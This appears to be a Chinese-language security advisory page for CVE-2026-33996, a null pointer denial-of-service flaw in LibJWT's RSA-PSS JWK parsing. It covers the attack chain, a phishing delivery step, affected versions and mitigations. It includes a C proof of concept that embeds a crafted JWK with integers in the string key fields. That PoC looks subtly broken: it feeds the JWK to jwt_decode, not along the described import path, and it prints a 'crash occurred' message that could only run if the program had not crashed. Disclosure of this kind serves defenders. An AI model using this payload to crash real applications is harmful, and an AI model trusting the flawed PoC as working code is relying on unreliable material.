IPBUF安全漏洞报告
English
CVE-2026-33996 CVSS 5.5 中危

CVE-2026-33996 LibJWT空指针拒绝服务漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-33996
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
LibJWT

相关标签

拒绝服务LibJWT空指针解引用JWKRSA-PSS

漏洞概述

LibJWT是一个C语言JSON Web Token库。在3.0.0至3.3.0之前的版本中,RSA-PSS的JWK解析组件存在安全漏洞。该漏洞源于解析JSON字符串值时未正确防护NULL值,攻击者可诱导用户打开特制的JWK文件,在代码预期字符串的位置使用整数,从而触发空指针解引用,导致应用程序崩溃或拒绝服务。

技术细节

该漏洞存在于LibJWT库处理RSA-PSS算法的JSON Web Key (JWK)文件过程中。底层代码在解析JWK的特定字段时,假设这些字段总是字符串类型。然而,代码缺乏对NULL值的严格检查。当攻击者构造一个恶意的JWK文件,并在本应包含字符串参数(如模数或指数)的位置插入整数或其他非字符串数据时,解析逻辑会尝试访问NULL指针或进行无效的类型转换。由于没有适当的错误处理机制,这会导致空指针解引用,进而引起程序异常终止或崩溃。由于攻击向量为本地且需要用户交互,攻击者通常需要诱骗受害者加载恶意的JWK文件才能成功利用该漏洞。

攻击链分析

STEP 1
1. 构造恶意文件
攻击者创建一个特制的JWK文件,在RSA-PSS密钥参数(如n, p, q)的位置使用整数类型代替字符串类型。
STEP 2
2. 投递载荷
通过钓鱼邮件或文件共享等方式,诱导受害者下载该恶意JWK文件。
STEP 3
3. 触发解析
受害者使用受影响版本的LibJWT库应用程序导入并解析该恶意JWK文件。
STEP 4
4. 漏洞利用
LibJWT解析器在处理整数数据时返回NULL指针,后续代码未检查直接引用,导致空指针解引用。
STEP 5
5. 拒绝服务
应用程序崩溃,服务不可用,达成拒绝服务攻击效果。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <jwt.h> // PoC for CVE-2026-33996: LibJWT RSA-PSS JWK NULL Pointer Dereference // This code demonstrates parsing a JWK with integers instead of strings. int main() { // Malicious JWK with integers in string fields (n, p, q, etc.) const char *malicious_jwk = "{" "\"kty\": \"RSA\"," "\"alg\": \"PS256\"," "\"n\": 123456," // Integer instead of string "\"e\": \"AQAB\"," "\"p\": 123456," // Integer instead of string "\"q\": 123456," // Integer instead of string "\"dp\": 123456," "\"dq\": 123456," "\"qi\": 123456" "}"; printf("[*] Parsing malicious JWK...\n"); jwt_t *jwt = NULL; // Attempt to import the JWK which triggers the vulnerability int ret = jwt_decode(&jwt, "dummy.payload", (unsigned char*)malicious_jwk, 0); if (ret != 0 || jwt == NULL) { printf("[-] Exploit failed or crash occurred (NULL dereference).\n"); } else { printf("[+] Parsing succeeded (vulnerable behavior might vary).\n"); jwt_free(jwt); } return 0; }

影响范围

LibJWT >= 3.0.0, < 3.3.0

防御指南

临时缓解措施
用户应避免从不受信任的来源导入JWK文件,特别是包含RSA-PSS密钥的文件。建议使用jwk2key工具预先检查JWK文件的有效性。如果可能,尽量避免使用包含RSA-PSS密钥的JWK文件格式,直到升级修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表